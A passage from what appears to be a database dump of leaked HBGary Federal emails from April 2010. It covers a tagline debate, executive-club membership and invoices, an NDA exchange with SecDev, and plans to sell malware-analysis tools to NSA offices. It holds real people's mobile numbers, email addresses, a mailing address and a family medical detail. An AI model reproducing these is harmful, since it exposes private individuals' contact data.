<penny@hbgary.com>,','RE: New Tagline Contenders (redux)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo. At present HBGary prevents nothing.&nbsp; Even if customers\r\nuse DDNA every day and find malware, they will still have to use Responder Pro\r\nto learn deeper info about the malware, create rules for firewalls, routers,\r\netc. and manually clean the computer.&nbsp; We find the cancer and tell the\r\npatient what kind of cancer it is so he can get proper treatment.&nbsp; We don&#8217;t\r\ndo any of the treatment.&nbsp; And we sure don&#8217;t prevent the patient from\r\ngetting cancer.\r\n\r\n&nbsp;\r\n\r\nFurther, I would argue that prevention is the same snake oil\r\nmost security companies use.&nbsp; They prey on customers&#8217; desires for a\r\nsilver bullet that takes care of the problem.&nbsp; Fact is that it is a damn\r\nhard problem.&nbsp; There is no silver bullet.\r\n\r\n&nbsp;\r\n\r\nSure, the market thinkers want there to be 24x7 detection, protection\r\nand prevention.&nbsp; Yeah, and I want to play basketball like LeBron James.\r\nThat is all fantasy.&nbsp; HBGary should remain rooted in the real world.&nbsp;\r\nOur customers will respect us more.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, April 20, 2010 12:09 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; all@hbgary.com; Karen Burke\r\nSubject: Re: New Tagline Contenders (redux)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nEnterprise Threat Prevention?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCyber Threat Prevention?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-G\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 19, 2010 at 9:44 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nThreat Prevention is term 451\r\nLikes.&nbsp; Detect, Diagnose and Defeat could be interesting.&nbsp; Because we\r\nhave multiple products, on tag line may not be possible.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Sunday, April 18, 2010 9:09 AM \r\n\r\n\r\n\r\n\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; all@hbgary.com;\r\nKaren Burke\r\nSubject: New Tagline Contenders (redux)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare trying on the &quot;Enterprise Threat Intelligence&quot; tagline, as you\r\nmight have noticed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare down to two final contestants:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Enterprise\r\nThreat Intelligence&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Defeat\r\nTomorrow\'s Threats Today&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nstill have the question because we aren\'t sure if &quot;Enterprise Threat Intelligence&quot;\r\nwill collide with feed-vendors like cyveillance.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/19/10\r\n14:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12819,'aaron_hbgary_com/12819.html'),(5507,'2010-04-20','\"Danielle Stradford\" <danielle@executivebiz.com>','/aaron@hbgary.com/new/1297003985.M233342P14101Q362.eml','aaron@hbgary.com','Bio/Headshot Request for 4x24','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nHope this email finds you well! I would like to welcome you to the ExecutiveBiz\r\n4x24 Dinner Series. I will need your executive profile/bio and corporate\r\nheadshot at your earliest convenience for our quarterly summaries that each\r\n4x24 member receives. Our Graphic Design Department is asking that the Headshot\r\nimage resolution be at least 220 DPI or higher for maximum quality and that the\r\nBio does not exceed 450 words. &nbsp;Hopefully, you already have something along\r\nthose lines.\r\n\r\nLook forward to hearing from you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDanielle\r\nStradford \r\n\r\nThe Potomac Officers Club\r\nand ExecutiveBiz\r\n\r\n8230 Old\r\n  Courthouse Road, Suite 460\r\n\r\nVienna, VA 22182 \r\n\r\nPhone: 703-226-7017 \r\n\r\nFax: 703-752-7454 \r\n\r\ndanielle@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',195,'aaron_hbgary_com/195.html'),(5508,'2010-04-20','\"Potomac Officer\'s Club Membership\" <membership@potomacofficersclub.com>','/aaron@hbgary.com/new/1297003985.M439040P14101Q363.eml','aaron@hbgary.com,aaron@hbgary.com,','Potomac Officers Club Membership Application Status','\r\n	 \r\n		\r\n			\r\n				\r\n					\r\n					\r\n					\r\n				\r\n				\r\n					&nbsp;&nbsp;&nbsp;\r\n					\r\n					\r\n					\r\n				\r\n				\r\n					\r\n					\r\n					\r\n				\r\n			\r\n		\r\n	 \r\n	 &nbsp;\r\n	 \r\n		 \r\n    \r\n\r\n\r\n        \r\n            \r\n      \r\n\r\n      \r\n                \r\n          \r\n\r\n          \r\n                        \r\n                        Dear \r\n\r\nAaron,\r\n                        \r\n\r\nCongratulations!\r\n                        \r\n\r\nYour application to Potomac Officers Club has been accepted. We look\r\n\r\n\r\nforward to your participation in making your club the premier \r\n\r\nMid-Atlantic executive organization. As a member, you will have the \r\n\r\nopportunity to interact on a regular basis with the region\'s top \r\n\r\nexecutives, attend and participate in timely, useful executive panel \r\n\r\ndiscussions, and gain exposure for you and your company.\r\n \r\n\r\n                       Please visit the web site for \r\n\r\nadditional information on Club activities and to register for upcoming\r\n\r\n\r\nevents.\r\n                        We look forward to your \r\n\r\nparticipation.\r\n                        \r\n\r\nRegards,\r\n                        \r\n\r\nPotomac Officer\'s Club Membership\r\n                        \r\n\r\n\r\n                    \r\n        \r\n\r\n            \r\n                        \r\n                        \r\n               \r\n\r\n             \r\n                                \r\n\r\n\r\n                                    \r\n              \r\n\r\n                      Receipt for Membership \r\n\r\nApplication \r\n    \r\n\r\n                                \r\n                        \r\n\r\n        \r\n                                \r\n  \r\n\r\n                                  Application Date: \r\n\r\nApril 20, 2010\r\n                             \r\n\r\n       Transaction Number: \r\n\r\n0\r\n                          \r\n\r\n      \r\n                                \r\n    \r\n\r\n                                Name: Aaron \r\n\r\nBarr\r\n                               \r\n\r\n     Company: \r\n\r\nHBGary\r\n                            \r\n\r\n    \r\n                                \r\n      \r\n\r\n                              Amount: \r\n\r\n$\r\n                                \r\n\r\n    Credit Card: \r\n\r\nXXXX-\r\n                      \r\n\r\n          \r\n                                \r\n\r\n\r\n                                    Description: \r\n\r\nComp Membership\r\n                                    \r\n\r\nMonths: 12\r\n                     \r\n\r\n           \r\n                            \r\n\r\n\r\n                        \r\n           \r\n\r\n             \r\n             \r\n\r\n       \r\n                \r\n            \r\n\r\n\r\n            \r\n        \r\n   \r\n\r\n \r\n\r\n	  \r\n	 &nbsp;\r\n	   \r\n		\r\n		\r\n				\r\n					All content and\r\nimages @ 2002-2008\r\n					Potomac Officers CLub\r\n					All Rights Reserved \r\n					potomacofficersclub.com \r\n					Carbon8 Studios \r\n					Provides Design and Development \r\n					services to Potomac Officers Club.\r\n				\r\n\r\n		\r\n		\r\n	  \r\n	 &nbsp;\r\n	\r\n\r\n',11493,'aaron_hbgary_com/11493.html'),(5509,'2010-04-20','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003985.M648183P14101Q364.eml','aaron@hbgary.com','Follow-up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGood Morning. Can you email me your physical and mailing\r\naddress asap?\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12188,'aaron_hbgary_com/12188.html'),(5510,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003985.M889920P14101Q365.eml','ngray@dewnet.ncsc.mil,\"Aaron Barr\" <aaron@hbgary.com>,ngray@dewnet.ncsc.mil,\"Aaron Barr\" <aaron@hbgary.com>','Introductions related to your interest in HBGary REcon for malware analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNathaniel and Aaron,\r\n\r\n&nbsp;\r\n\r\nThe purpose of this email is to introduce you to each\r\nother.&nbsp; Nathaniel, you are interested in HBGary&#8217;s REcon for high\r\nvolume malware runtime analysis.&nbsp; Aaron, you have been communicating with ANO\r\nand NTOC/V22 about the same subject.&nbsp; So, there are 3 NSA organizations\r\ninterested in HBGary&#8217;s high volume malware runtime analysis.\r\n\r\n&nbsp;\r\n\r\nTo simplify lines of communications I&#8217;ve requested\r\nthat Aaron Barr be the point man from our side.&nbsp; Aaron is the CEO of\r\nHBGary Federal, a sister organization that focuses on Government services work,\r\nclassified work and special projects.\r\n\r\n&nbsp;\r\n\r\nI will continue to be involved as the HBGary, Inc.\r\nrepresentative.\r\n\r\n&nbsp;\r\n\r\nCONTACT INFO:\r\n\r\nNathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255 /ngray@dewnet.ncsc.mil\r\n\r\nAaron Barr / 719-510-8478 / aaron@hbgary.com\r\n\r\n\r\n&nbsp;\r\n\r\nPlease let me know if you have any questions or need\r\nadditional info.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9339,'aaron_hbgary_com/9339.html'),(5511,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003986.M123455P14101Q366.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','Re: New Tagline Contenders (redux)','I agree with bob.  Enterprise threat detection fits and is realistic.  The customers do know the difference.AaronFrom my iPhoneOn Apr 20, 2010, at 9:15 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNo. At present HBGary prevents nothing.  Even if customers\r\nuse DDNA every day and find malware, they will still have to use Responder Pro\r\nto learn deeper info about the malware, create rules for firewalls, routers,\r\netc. and manually clean the computer.  We find the cancer and tell the\r\npatient what kind of cancer it is so he can get proper treatment.  We don’t\r\ndo any of the treatment.  And we sure don’t prevent the patient from\r\ngetting cancer.\r\n\r\n \r\n\r\nFurther, I would argue that prevention is the same snake oil\r\nmost security companies use.  They prey on customers’ desires for a\r\nsilver bullet that takes care of the problem.  Fact is that it is a damn\r\nhard problem.  There is no silver bullet.\r\n\r\n \r\n\r\nSure, the market thinkers want there to be 24x7 detection, protection\r\nand prevention.  Yeah, and I want to play basketball like LeBron James.\r\nThat is all fantasy.  HBGary should remain rooted in the real world. \r\nOur customers will respect us more.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, April 20, 2010 12:09 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; all@hbgary.com; Karen Burke\r\nSubject: Re: New Tagline Contenders (redux)\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nEnterprise Threat Prevention?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCyber Threat Prevention?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-G\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 19, 2010 at 9:44 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nThreat Prevention is term 451\r\nLikes.  Detect, Diagnose and Defeat could be interesting.  Because we\r\nhave multiple products, on tag line may not be possible.  \r\n\r\n \r\n\r\n\r\n\r\nFrom: Greg\r\nHoglund [mailto:greg@hbgary.com]\r\n\r\nSent: Sunday, April 18, 2010 9:09 AM \r\n\r\n\r\n\r\n\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; all@hbgary.com;\r\nKaren Burke\r\nSubject: New Tagline Contenders (redux)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTeam\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare trying on the &quot;Enterprise Threat Intelligence&quot; tagline, as you\r\nmight have noticed.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare down to two final contestants:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&quot;Enterprise\r\nThreat Intelligence&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Defeat\r\nTomorrow&#39;s Threats Today&quot;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe\r\nstill have the question because we aren&#39;t sure if &quot;Enterprise Threat Intelligence&quot;\r\nwill collide with feed-vendors like cyveillance.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/19/10\r\n14:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10039,'aaron_hbgary_com/10039.html'),(5512,'2010-04-20','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297003986.M345123P14101Q367.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Hi Aaron,Apologies for not being in touch before - my CEO Rafal Rohozinski\'s wife just had a baby a few weeks premature and there are some medical issues that have to be dealt with that are taking up a lot of his time. I\'ll try and arrange something for later this week or early next.Best wishes,Arnav\r\nOn 2010-04-19, at 10:54 PM, Aaron Barr wrote:Hi Arnav,Hadn\'t heard from you since sending back the NDA.For you guys what do you see as the next steps?I would like to get together to discuss investigation pursuits and how we can work together to improve and maybe standardize some investigative frameworks for one.AaronOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:Dear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1A 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.How often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8974,'aaron_hbgary_com/8974.html'),(5513,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003986.M593481P14101Q368.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: NDA and Collaboration','Ah.  No rush then.  I had twins that were born 7weeks early so I completely understand and sympathize.  Let me know when it is convenient.AaronFrom my iPhone\r\nOn Apr 20, 2010, at 10:12 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,\r\nApologies for not being in touch before - my CEO Rafal Rohozinski&#39;s wife just had a baby a few weeks premature and there are some medical issues that have to be dealt with that are taking up a lot of his time. I&#39;ll try and arrange something for later this week or early next.\r\nBest wishes,Arnav\r\nOn 2010-04-19, at 10:54 PM, Aaron Barr wrote:\r\nHi Arnav,Hadn&#39;t heard from you since sending back the NDA.For you guys what do you see as the next steps?I would like to get together to discuss investigation pursuits and how we can work together to improve and maybe standardize some investigative frameworks for one.\r\nAaronOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:\r\nDear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.\r\nWe would be happy to sign an NDA, do send me a copy and we&#39;ll do a quick turnaround.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1A 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Date: April 9, 2010 3:40:07 PM EDT\r\nTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference.  I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.\r\nHow often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',8625,'aaron_hbgary_com/8625.html'),(5514,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003986.M817192P14101Q369.eml','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','Re: Follow-up','Jennifer,Physical Address:6701 Democracy Blvd, Suite 300Bethesda, MD 20817Mailing Address:1223 Potomac School Rd.Mclean VA 22101Picture, Bio to follow.AaronOn Apr 20, 2010, at 9:29 AM, Jennifer Jordan-Harrell wrote:Aaron,&nbsp;Good Morning. Can you email me your physical and mailing address asap?&nbsp;Sincerely,&nbsp;Jennifer Jordan-HarrellGroup Manager&nbsp;ExecutiveBiz703-226-7016jennifer@executivebiz.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15154,'aaron_hbgary_com/15154.html'),(5515,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003988.M35511P14101Q370.eml','\"Aaron Barr\" <adbarr@mac.com>','BC','',15732,'aaron_hbgary_com/15732.html'),(5516,'2010-04-20','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003993.M935338P14101Q371.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow-up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJAwesome &#8211; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 20, 2010 1:15 PM\r\nTo: Jennifer Jordan-Harrell\r\nSubject: Re: Follow-up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJennifer,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPhysical Address:\r\n\r\n\r\n\r\n\r\n\r\n6701 Democracy Blvd, Suite 300\r\n\r\n\r\n\r\n\r\n\r\nBethesda, MD 20817\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMailing Address:\r\n\r\n\r\n\r\n\r\n\r\n1223 Potomac School Rd.\r\n\r\n\r\n\r\n\r\n\r\nMclean VA 22101\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPicture, Bio to follow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:29 AM, Jennifer Jordan-Harrell wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nMorning. Can you email me your physical and mailing address asap?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSincerely,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJennifer\r\nJordan-Harrell\r\n\r\n\r\n\r\n\r\n\r\nGroup\r\nManager\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nExecutiveBiz\r\n\r\n\r\n\r\n\r\n\r\n703-226-7016\r\n\r\n\r\n\r\n\r\n\r\njennifer@executivebiz.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15871,'aaron_hbgary_com/15871.html'),(5517,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004001.M25599P14101Q372.eml','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>,\"Danielle Stradford\" <danielle@executivebiz.com>','Re: ExecutiveBiz 4x24 Cyber Group Follow-up','Jennifer,Aaron Barr has been the CEO of HBGary Federal since December 2009, an organization focused on delivering specialized Cybersecurity and information operations services and solutions to the government and commercial sector. &nbsp;Mr. Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.On Apr 19, 2010, at 5:45 PM, Jennifer Jordan-Harrell wrote:Aaron,Welcome!&nbsp; Looking forward to having you on board from inception.&nbsp; Please send me your Bio, Executive Photo and copy of your business card as soon as you can.&nbsp; Also, email me your business/mailing address.&nbsp;Sincerely,&nbsp;Jennifer Jordan-HarrellGroup Manager&nbsp;ExecutiveBiz703-226-7016jennifer@executivebiz.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3441,'aaron_hbgary_com/3441.html'),(5518,'2010-04-20','\"Sheri Page\" <sheri@executivebiz.com>','/aaron@hbgary.com/new/1297004002.M873390P14101Q373.eml','aaron@hbgary.com,aaron@hbgary.com','Invoice from ExecutiveBiz','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; attached is the invoice for your ExecutiveBiz 4 x 24.&nbsp;\r\nMany thanks in advance for your help in getting this processed and thanks for\r\nyour awesome support of ExecutiveBiz.\r\n\r\n&nbsp;\r\n\r\nBest regards.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSheri Page\r\n\r\nThe Potomac Officers Club and ExecutiveBiz\r\n\r\n8230 Old Courthouse Road, Suite 460\r\n\r\nVienna, VA&nbsp; 22182\r\n\r\nPhone:&nbsp; 703-752-7449\r\n\r\nFax:&nbsp; 703-752-7454\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',660,'aaron_hbgary_com/660.html'),(5519,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004003.M667546P14101Q374.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Meeting for next week','Guys,\r\n\r\nBased on My and Bob\'s conversations with NSA ANO, NTOC V22, and IA Blueteam I believe we are on the verge of making some significant headway at NSA.  The demo next week and follow on conversations to seal the deal will be important.  We need to hit the areas they have highlighted and work with them to structure the deal in a way that is as easy and friendly to their environment as possible.  In the end this will pay off big for us.  For Cyber NSA is an important customer.  For threat intelligence NSA is the center of the universe.\r\n\r\nIf you don\'t know NTOC manages a cyber I&W / SIGINT system called Turbulance (google it).  It is NSAs cyber ears on the wire and a subcomponent of this system is called Tutiledge.  These are the governments first line of defense at the major gateways (there are other sensors that are further out).  Einstein (DHS .gov gateway sensors) is a replica of Tutiledge.  These are nothing more than SNORT boxes in parallel with some load balancing and public and classified signatures (basic description).  I think eventually our TMC could provide more realtime updates to the signature for these systems.  If we can get this to happen with Tutiledge it will ripple down through the services and DHS, etc.\r\n\r\nBob,  Please send to this group the highlights of your conversation with the NSA folks you spoke with Today.  What their expressed interest items are, challenges, etc.\r\n\r\nFrom my conversation with Jerry Bodman yesterday.\r\n1. Ability to develop custom traits as well as take advantage of commercial traits.\r\n2. How do we deal with encryption.\r\n3. How do we deal with things that don\'t normally execute.\r\n4. Can we export or is our data in a common format that can be shared amongst other tools.\r\n5. How do you deal with things that are multiple parts.\r\n\r\nThey can not manage their existing work load with their existing tools.  They need a method to prioritize their work.  Seemed they were interested in that first and then tools that can help them with advanced analysis.  I think we need to approach the demo from the TMC/DDNA, work prioritization perspective and then transition into how Responder and REcon can help them use more of their existing workforce more efficiently, and use more of them because the skill level entry point is lower.  And all the tools integrate so their is efficiency there as well.\r\n\r\nThe words Jerry left me with was he wants this, he wants to buy it.  So his goal is to put all the right people in the room next week so he can expedite this.\r\n\r\nThe briefing will be next Friday.  I will work the details on hopefully getting the laptop, etc.  I would like to do a dry run on Tuesday to make sure we are hitting all the right buttons.  I will send out some meeting notices here in a few.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3812,'aaron_hbgary_com/3812.html'),(5520,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004004.M293198P14101Q375.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Invoice from ExecutiveBiz',':)\r\n\r\nBegin forwarded message:\r\n\r\n> From: Sheri Page \r\n> Date: April 20, 2010 1:43:38 PM EDT\r\n> To: \r\n> Cc: Alyce Morrison \r\n> Subject: Invoice from ExecutiveBiz\r\n> \r\n> Aaron – attached is the invoice for your ExecutiveBiz 4 x 24.  Many thanks in advance for your help in getting this processed and 